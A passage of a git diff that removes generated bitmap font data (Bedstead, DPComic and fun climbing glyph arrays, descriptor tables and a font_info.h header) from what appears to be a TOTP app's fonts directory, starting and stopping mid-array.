0x1C, - 0x0F, - 0x1E, - 0xFE, - 0x0F, - 0xFE, - 0x0F, - 0x0F, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x0F, - 0x1E, - 0x1E, - 0x0F, - 0xFE, - 0x0F, - 0xFC, - 0x07, - - /* @320 '9' (13 pixels wide) */ - 0xFC, - 0x07, - 0xFE, - 0x0F, - 0x0F, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x0F, - 0x1C, - 0xFE, - 0x1F, - 0xFC, - 0x1F, - 0x00, - 0x1C, - 0x00, - 0x1E, - 0x00, - 0x0F, - 0x80, - 0x07, - 0xC0, - 0x03, - 0xFC, - 0x01, - 0xFC, - 0x00, - - /* @352 'B' (13 pixels wide) */ - 0xFF, - 0x07, - 0xFF, - 0x0F, - 0x07, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1E, - 0xFF, - 0x0F, - 0xFF, - 0x0F, - 0x07, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1E, - 0x07, - 0x0F, - 0xFF, - 0x0F, - 0xFF, - 0x07, - - /* @384 'C' (13 pixels wide) */ - 0xFC, - 0x01, - 0xFE, - 0x07, - 0x0F, - 0x0F, - 0x07, - 0x0F, - 0x07, - 0x0E, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x0F, - 0x8F, - 0x0F, - 0xFE, - 0x07, - 0xFC, - 0x03, - - /* @416 'D' (13 pixels wide) */ - 0xFF, - 0x07, - 0xFF, - 0x0F, - 0x07, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1E, - 0x07, - 0x0F, - 0xFF, - 0x0F, - 0xFF, - 0x07, - - /* @448 'F' (13 pixels wide) */ - 0xFF, - 0x0F, - 0xFF, - 0x0F, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - - /* @480 'G' (13 pixels wide) */ - 0xFC, - 0x07, - 0xFE, - 0x0F, - 0x0F, - 0x1F, - 0x0F, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x87, - 0x1F, - 0x87, - 0x1F, - 0x07, - 0x1C, - 0x0F, - 0x1C, - 0xFE, - 0x1F, - 0xFC, - 0x1F, - 0xFC, - 0x1F, - - /* @512 'H' (13 pixels wide) */ - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - - /* @544 'J' (13 pixels wide) */ - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x0E, - 0x1C, - 0x1E, - 0x1C, - 0x3E, - 0x1E, - 0xFC, - 0x0F, - 0xF8, - 0x07, - - /* @576 'K' (13 pixels wide) */ - 0x07, - 0x0E, - 0x07, - 0x0F, - 0x87, - 0x07, - 0xC7, - 0x03, - 0xE7, - 0x01, - 0xF7, - 0x00, - 0x7F, - 0x00, - 0x3F, - 0x00, - 0x3F, - 0x00, - 0x7F, - 0x00, - 0xF7, - 0x00, - 0xE7, - 0x01, - 0xC7, - 0x03, - 0x87, - 0x07, - 0x07, - 0x0F, - 0x07, - 0x0E, - - /* @608 'M' (13 pixels wide) */ - 0x07, - 0x1C, - 0x07, - 0x1C, - 0xBF, - 0x1F, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0xE7, - 0x1C, - 0xE7, - 0x1C, - 0xE7, - 0x1C, - 0xE7, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - - /* @640 'N' (13 pixels wide) */ - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x3F, - 0x1C, - 0x7F, - 0x1C, - 0xFF, - 0x1C, - 0xE7, - 0x1F, - 0xC7, - 0x1F, - 0x87, - 0x1F, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - - /* @672 'P' (13 pixels wide) */ - 0xFF, - 0x07, - 0xFF, - 0x0F, - 0x07, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1E, - 0xFF, - 0x0F, - 0xFF, - 0x07, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - - /* @704 'Q' (13 pixels wide) */ - 0xFC, - 0x07, - 0xFE, - 0x0F, - 0x0F, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0xE7, - 0x1C, - 0xE7, - 0x1F, - 0xC7, - 0x0F, - 0x8F, - 0x07, - 0xDE, - 0x0F, - 0xFE, - 0x1F, - 0xFC, - 0x1C, - - /* @736 'R' (13 pixels wide) */ - 0xFF, - 0x07, - 0xFF, - 0x0F, - 0x07, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1E, - 0xFF, - 0x0F, - 0xFF, - 0x07, - 0xE7, - 0x00, - 0xE7, - 0x01, - 0xC7, - 0x03, - 0x87, - 0x07, - 0x07, - 0x0F, - 0x07, - 0x1E, - 0x07, - 0x1C, - - /* @768 'T' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - - /* @800 'V' (13 pixels wide) */ - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x1F, - 0x1F, - 0xBC, - 0x07, - 0xB8, - 0x03, - 0xB8, - 0x03, - 0xF8, - 0x07, - 0xF0, - 0x03, - 0xE0, - 0x01, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - - /* @832 'W' (13 pixels wide) */ - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0xE7, - 0x1C, - 0xE7, - 0x1C, - 0xE7, - 0x1C, - 0xE7, - 0x1C, - 0xE7, - 0x1C, - 0xFF, - 0x1F, - 0xFE, - 0x0F, - 0xFE, - 0x0F, - 0xBC, - 0x07, - - /* @864 'X' (13 pixels wide) */ - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x0F, - 0x1E, - 0x1E, - 0x0F, - 0xBC, - 0x07, - 0xF8, - 0x03, - 0xF0, - 0x01, - 0xF0, - 0x01, - 0xF8, - 0x03, - 0xBC, - 0x07, - 0x1E, - 0x0F, - 0x0F, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - - /* @896 'Y' (13 pixels wide) */ - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x0F, - 0x1E, - 0x1E, - 0x0F, - 0xBC, - 0x07, - 0xF8, - 0x03, - 0xF0, - 0x01, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, -}; - -/* Character descriptors for Bedstead 17pt */ -/* { [Char width in bits], [Offset into bedstead_17ptCharBitmaps in bytes] } */ -const FONT_CHAR_INFO bedstead_17ptDescriptors[] = { - {13, 0}, /* - */ - {0, 0}, /* . */ - {0, 0}, /* / */ - {13, 32}, /* 0 */ - {13, 64}, /* 1 */ - {13, 96}, /* 2 */ - {13, 128}, /* 3 */ - {13, 160}, /* 4 */ - {13, 192}, /* 5 */ - {13, 224}, /* 6 */ - {13, 256}, /* 7 */ - {13, 288}, /* 8 */ - {13, 320}, /* 9 */ - {0, 0}, /* : */ - {0, 0}, /* ; */ - {0, 0}, /* < */ - {0, 0}, /* = */ - {0, 0}, /* > */ - {0, 0}, /* ? */ - {0, 0}, /* @ */ - {0, 0}, /* A */ - {13, 352}, /* B */ - {13, 384}, /* C */ - {13, 416}, /* D */ - {0, 0}, /* E */ - {13, 448}, /* F */ - {13, 480}, /* G */ - {13, 512}, /* H */ - {0, 0}, /* I */ - {13, 544}, /* J */ - {13, 576}, /* K */ - {0, 0}, /* L */ - {13, 608}, /* M */ - {13, 640}, /* N */ - {0, 0}, /* O */ - {13, 672}, /* P */ - {13, 704}, /* Q */ - {13, 736}, /* R */ - {0, 0}, /* S */ - {13, 768}, /* T */ - {0, 0}, /* U */ - {13, 800}, /* V */ - {13, 832}, /* W */ - {13, 864}, /* X */ - {13, 896}, /* Y */ -}; - -/* Font information for Bedstead 17pt */ -const FONT_INFO bedstead_17ptFontInfo = { - "Bedstead", - 16, /* Character height */ - '-', /* Start character */ - 'Y', /* End character */ - 2, /* Width, in pixels, of space character */ - bedstead_17ptDescriptors, /* Character descriptor array */ - bedstead_17ptBitmaps, /* Character bitmap array */ -}; diff --git a/applications/external/totp/lib/fonts/bedstead/bedstead.h b/applications/external/totp/lib/fonts/bedstead/bedstead.h deleted file mode 100644 index 0f4c10949..000000000 --- a/applications/external/totp/lib/fonts/bedstead/bedstead.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include "../font_info.h" - -/* Font data for Bedstead 17pt */ -extern const FONT_INFO bedstead_17ptFontInfo; diff --git a/applications/external/totp/lib/fonts/dpcomic/dpcomic.c b/applications/external/totp/lib/fonts/dpcomic/dpcomic.c deleted file mode 100644 index 7d215c273..000000000 --- a/applications/external/totp/lib/fonts/dpcomic/dpcomic.c +++ /dev/null @@ -1,1115 +0,0 @@ -#include "dpcomic.h" - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -/* -** Font data for DPComic 18pt -*/ - -/* Character bitmaps for DPComic 18pt */ -const uint8_t dPComic_18ptBitmaps[] = { - /* @0 '-' (15 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xE0, - 0x3F, - 0xF8, - 0x0F, - 0xF8, - 0x0F, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @34 '0' (15 pixels wide) */ - 0x00, - 0x00, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xE0, - 0x07, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0xE0, - 0x07, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @68 '1' (15 pixels wide) */ - 0x00, - 0x00, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xE0, - 0x01, - 0xF8, - 0x01, - 0xF8, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xE0, - 0x0F, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @102 '2' (15 pixels wide) */ - 0x00, - 0x00, - 0xC0, - 0x07, - 0xC0, - 0x07, - 0xE0, - 0x0F, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x07, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xE0, - 0x3F, - 0xF8, - 0x0F, - 0xF8, - 0x0F, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @136 '3' (15 pixels wide) */ - 0x00, - 0x00, - 0xC0, - 0x3F, - 0xC0, - 0x3F, - 0xE0, - 0x3F, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x07, - 0xC0, - 0x07, - 0xC0, - 0x07, - 0x00, - 0x0F, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0xE0, - 0x0F, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @170 '4' (15 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0F, - 0xC0, - 0x0F, - 0xC0, - 0x0F, - 0xE0, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0xF8, - 0x0F, - 0xF8, - 0x0F, - 0xF8, - 0x0F, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @204 '5' (15 pixels wide) */ - 0x00, - 0x00, - 0xC0, - 0x3F, - 0xC0, - 0x3F, - 0xC0, - 0x0F, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x07, - 0xE0, - 0x0F, - 0xE0, - 0x0F, - 0x00, - 0x0E, - 0x00, - 0x0F, - 0x00, - 0x0F, - 0xE0, - 0x07, - 0xF8, - 0x01, - 0xF8, - 0x01, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @238 '6' (15 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x0F, - 0x00, - 0x0F, - 0xC0, - 0x07, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x07, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0F, - 0x38, - 0x0F, - 0xF8, - 0x07, - 0xE0, - 0x01, - 0xE0, - 0x01, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @272 '7' (15 pixels wide) */ - 0x00, - 0x00, - 0xE0, - 0x0F, - 0xE0, - 0x0F, - 0xF8, - 0x0F, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x07, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xE0, - 0x00, - 0xF8, - 0x00, - 0xF8, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @306 '8' (15 pixels wide) */ - 0x00, - 0x00, - 0xC0, - 0x0F, - 0xC0, - 0x0F, - 0xE0, - 0x38, - 0xE0, - 0x3E, - 0xE0, - 0x3E, - 0xC0, - 0x0F, - 0xE0, - 0x07, - 0xE0, - 0x07, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0F, - 0xE0, - 0x07, - 0xE0, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @340 '9' (15 pixels wide) */ - 0x00, - 0x00, - 0xC0, - 0x07, - 0xC0, - 0x07, - 0xE0, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0xF8, - 0x0F, - 0xF8, - 0x0F, - 0xE0, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0xE0, - 0x01, - 0xF8, - 0x00, - 0xF8, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @374 'B' (15 pixels wide) */ - 0xC0, - 0x0F, - 0xE0, - 0x3F, - 0xE0, - 0x3F, - 0xF8, - 0x38, - 0x38, - 0x3E, - 0x38, - 0x3E, - 0xF8, - 0x0F, - 0xF8, - 0x3F, - 0xF8, - 0x3F, - 0x38, - 0x38, - 0x38, - 0x3E, - 0x38, - 0x3E, - 0xF8, - 0x0F, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @408 'C' (15 pixels wide) */ - 0x00, - 0x0F, - 0xC0, - 0x3F, - 0xC0, - 0x3F, - 0xE0, - 0x39, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xF8, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - 0x38, - 0x38, - 0x38, - 0x3E, - 0x38, - 0x3E, - 0xF8, - 0x0F, - 0xE0, - 0x07, - 0xE0, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @442 'D' (15 pixels wide) */ - 0xC0, - 0x07, - 0xE0, - 0x0F, - 0xE0, - 0x0F, - 0xF8, - 0x3E, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x3E, - 0x38, - 0x0F, - 0x38, - 0x0F, - 0xF8, - 0x07, - 0xF8, - 0x01, - 0xF8, - 0x01, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @476 'F' (15 pixels wide) */ - 0x80, - 0x1F, - 0xC0, - 0x0F, - 0xC0, - 0x0F, - 0xF0, - 0x01, - 0x70, - 0x00, - 0x70, - 0x00, - 0xF0, - 0x0F, - 0xF0, - 0x03, - 0xF0, - 0x03, - 0x70, - 0x00, - 0x70, - 0x00, - 0x70, - 0x00, - 0x70, - 0x00, - 0x70, - 0x00, - 0x70, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @510 'G' (15 pixels wide) */ - 0x00, - 0x0F, - 0xC0, - 0x3F, - 0xC0, - 0x3F, - 0xE0, - 0x39, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xF8, - 0x00, - 0x38, - 0x3E, - 0x38, - 0x3E, - 0x38, - 0x38, - 0x38, - 0x3E, - 0x38, - 0x3E, - 0xF8, - 0x0F, - 0xE0, - 0x07, - 0xE0, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @544 'H' (15 pixels wide) */ - 0x00, - 0x30, - 0x20, - 0x38, - 0x20, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0xF8, - 0x3F, - 0xF8, - 0x3F, - 0xF8, - 0x3F, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @578 'J' (15 pixels wide) */ - 0x00, - 0x08, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x18, - 0x0F, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0xE0, - 0x01, - 0xE0, - 0x01, - - /* @612 'K' (15 pixels wide) */ - 0x20, - 0x30, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x3E, - 0x38, - 0x0F, - 0x38, - 0x0F, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x38, - 0x0F, - 0x38, - 0x3E, - 0x38, - 0x3E, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @646 'M' (15 pixels wide) */ - 0x08, - 0x10, - 0x3E, - 0x1C, - 0x3E, - 0x1C, - 0x7E, - 0x1E, - 0xFE, - 0x1F, - 0xFE, - 0x1F, - 0xCE, - 0x1D, - 0x0E, - 0x1C, - 0x0E, - 0x1C, - 0x0E, - 0x1C, - 0x0E, - 0x1C, - 0x0E, - 0x1C, - 0x0E, - 0x1C, - 0x0E, - 0x1C, - 0x0E, - 0x1C, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @680 'N' (15 pixels wide) */ - 0x20, - 0x30, - 0xF8, - 0x38, - 0xF8, - 0x38, - 0xF8, - 0x38, - 0xF8, - 0x39, - 0xF8, - 0x39, - 0xF8, - 0x39, - 0x38, - 0x3F, - 0x38, - 0x3F, - 0x38, - 0x3F, - 0x38, - 0x3E, - 0x38, - 0x3E, - 0x38, - 0x3E, - 0x38, - 0x38, - 0x38, - 0x38, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @714 'P' (15 pixels wide) */ - 0xC0, - 0x07, - 0xE0, - 0x0F, - 0xE0, - 0x0F, - 0xF8, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0F, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0xF8, - 0x01, - 0x38, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @748 'Q' (15 pixels wide) */ - 0x00, - 0x0F, - 0xC0, - 0x3F, - 0xC0, - 0x3F, - 0xE0, - 0x39, - 0xE0, - 0x38, - 0xE0, - 0x38, - 0xF8, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x3E, - 0x38, - 0x3E, - 0xF8, - 0x0F, - 0xE0, - 0x3F, - 0xE0, - 0x3F, - 0x00, - 0x38, - 0x00, - 0x38, - - /* @782 'R' (15 pixels wide) */ - 0xC0, - 0x07, - 0xE0, - 0x0F, - 0xE0, - 0x0F, - 0xF8, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0F, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0xF8, - 0x01, - 0x38, - 0x07, - 0x38, - 0x07, - 0x38, - 0x0F, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @816 'T' (15 pixels wide) */ - 0x00, - 0x7E, - 0xE0, - 0x3F, - 0xE0, - 0x3F, - 0xF8, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @850 'V' (15 pixels wide) */ - 0x20, - 0x30, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x07, - 0x38, - 0x07, - 0xE0, - 0x07, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @884 'W' (15 pixels wide) */ - 0x04, - 0x40, - 0x07, - 0x70, - 0x07, - 0x70, - 0x07, - 0x71, - 0xC7, - 0x71, - 0xC7, - 0x71, - 0xC7, - 0x71, - 0xC7, - 0x71, - 0xC7, - 0x71, - 0xC7, - 0x71, - 0xE7, - 0x39, - 0xE7, - 0x39, - 0x3C, - 0x0F, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @918 'X' (15 pixels wide) */ - 0x18, - 0x30, - 0x38, - 0x38, - 0x38, - 0x38, - 0xF8, - 0x3E, - 0xE0, - 0x0F, - 0xE0, - 0x0F, - 0xC0, - 0x07, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xE0, - 0x07, - 0x38, - 0x0F, - 0x38, - 0x0F, - 0x38, - 0x3E, - 0x18, - 0x38, - 0x18, - 0x38, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @952 'Y' (15 pixels wide) */ - 0x18, - 0x08, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0xF8, - 0x0F, - 0xF8, - 0x0F, - 0xE0, - 0x07, - 0xE0, - 0x01, - 0xE0, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0x00, - 0x00, - 0x00, - 0x00, -}; - -/* Character descriptors for DPComic 18pt */ -/* { [Char width in bits], [Offset into dPComic_18ptCharBitmaps in bytes] } */ -const FONT_CHAR_INFO dPComic_18ptDescriptors[] = { - {15, 0}, /* - */ - {0, 0}, /* . */ - {0, 0}, /* / */ - {15, 34}, /* 0 */ - {15, 68}, /* 1 */ - {15, 102}, /* 2 */ - {15, 136}, /* 3 */ - {15, 170}, /* 4 */ - {15, 204}, /* 5 */ - {15, 238}, /* 6 */ - {15, 272}, /* 7 */ - {15, 306}, /* 8 */ - {15, 340}, /* 9 */ - {0, 0}, /* : */ - {0, 0}, /* ; */ - {0, 0}, /* < */ - {0, 0}, /* = */ - {0, 0}, /* > */ - {0, 0}, /* ? */ - {0, 0}, /* @ */ - {0, 0}, /* A */ - {15, 374}, /* B */ - {15, 408}, /* C */ - {15, 442}, /* D */ - {0, 0}, /* E */ - {15, 476}, /* F */ - {15, 510}, /* G */ - {15, 544}, /* H */ - {0, 0}, /* I */ - {15, 578}, /* J */ - {15, 612}, /* K */ - {0, 0}, /* L */ - {15, 646}, /* M */ - {15, 680}, /* N */ - {0, 0}, /* O */ - {15, 714}, /* P */ - {15, 748}, /* Q */ - {15, 782}, /* R */ - {0, 0}, /* S */ - {15, 816}, /* T */ - {0, 0}, /* U */ - {15, 850}, /* V */ - {15, 884}, /* W */ - {15, 918}, /* X */ - {15, 952}, /* Y */ -}; - -/* Font information for DPComic 18pt */ -const FONT_INFO dPComic_18ptFontInfo = { - "DP Comic", - 17, /* Character height */ - '-', /* Start character */ - 'Y', /* End character */ - 2, /* Width, in pixels, of space character */ - dPComic_18ptDescriptors, /* Character descriptor array */ - dPComic_18ptBitmaps, /* Character bitmap array */ -}; diff --git a/applications/external/totp/lib/fonts/dpcomic/dpcomic.h b/applications/external/totp/lib/fonts/dpcomic/dpcomic.h deleted file mode 100644 index bac49b4d6..000000000 --- a/applications/external/totp/lib/fonts/dpcomic/dpcomic.h +++ /dev/null @@ -1,7 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include "../font_info.h" - -extern const FONT_INFO dPComic_18ptFontInfo; \ No newline at end of file diff --git a/applications/external/totp/lib/fonts/font_info.h b/applications/external/totp/lib/fonts/font_info.h deleted file mode 100644 index b7bf6a045..000000000 --- a/applications/external/totp/lib/fonts/font_info.h +++ /dev/null @@ -1,24 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include - -// This structure describes a single character's display information -typedef struct { - const uint8_t width; // width, in bits (or pixels), of the character - const uint16_t - offset; // offset of the character's bitmap, in bytes, into the the FONT_INFO's data array - -} FONT_CHAR_INFO; - -// Describes a single font -typedef struct { - const char* name; // Font name - const uint8_t height; // height, in pages (8 pixels), of the font's characters - const uint8_t startChar; // the first character in the font (e.g. in charInfo and data) - const uint8_t endChar; // the last character in the font - const uint8_t spacePixels; // number of pixels that a space character takes up - const FONT_CHAR_INFO* charInfo; // pointer to array of char information - const uint8_t* data; // pointer to generated array of character visual representation -} FONT_INFO; \ No newline at end of file diff --git a/applications/external/totp/lib/fonts/funclimbing/funclimbing.c b/applications/external/totp/lib/fonts/funclimbing/funclimbing.c deleted file mode 100644 index 4176e1f37..000000000 --- a/applications/external/totp/lib/fonts/funclimbing/funclimbing.c +++ /dev/null @@ -1,1173 +0,0 @@ -#include "funclimbing.h" - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -/* -** Font data for fun climbing (Demo) 18pt -*/ - -/* Character bitmaps for fun climbing (Demo) 18pt */ -const uint8_t funclimbingDemo_18ptBitmaps[] = { - /* @0 '-' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xE0, - 0x03, - 0xE0, - 0x03, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @36 '0' (16 pixels wide) */ - 0x00, - 0x00, - 0x80, - 0x00, - 0xE0, - 0x03, - 0x20, - 0x02, - 0x10, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x08, - 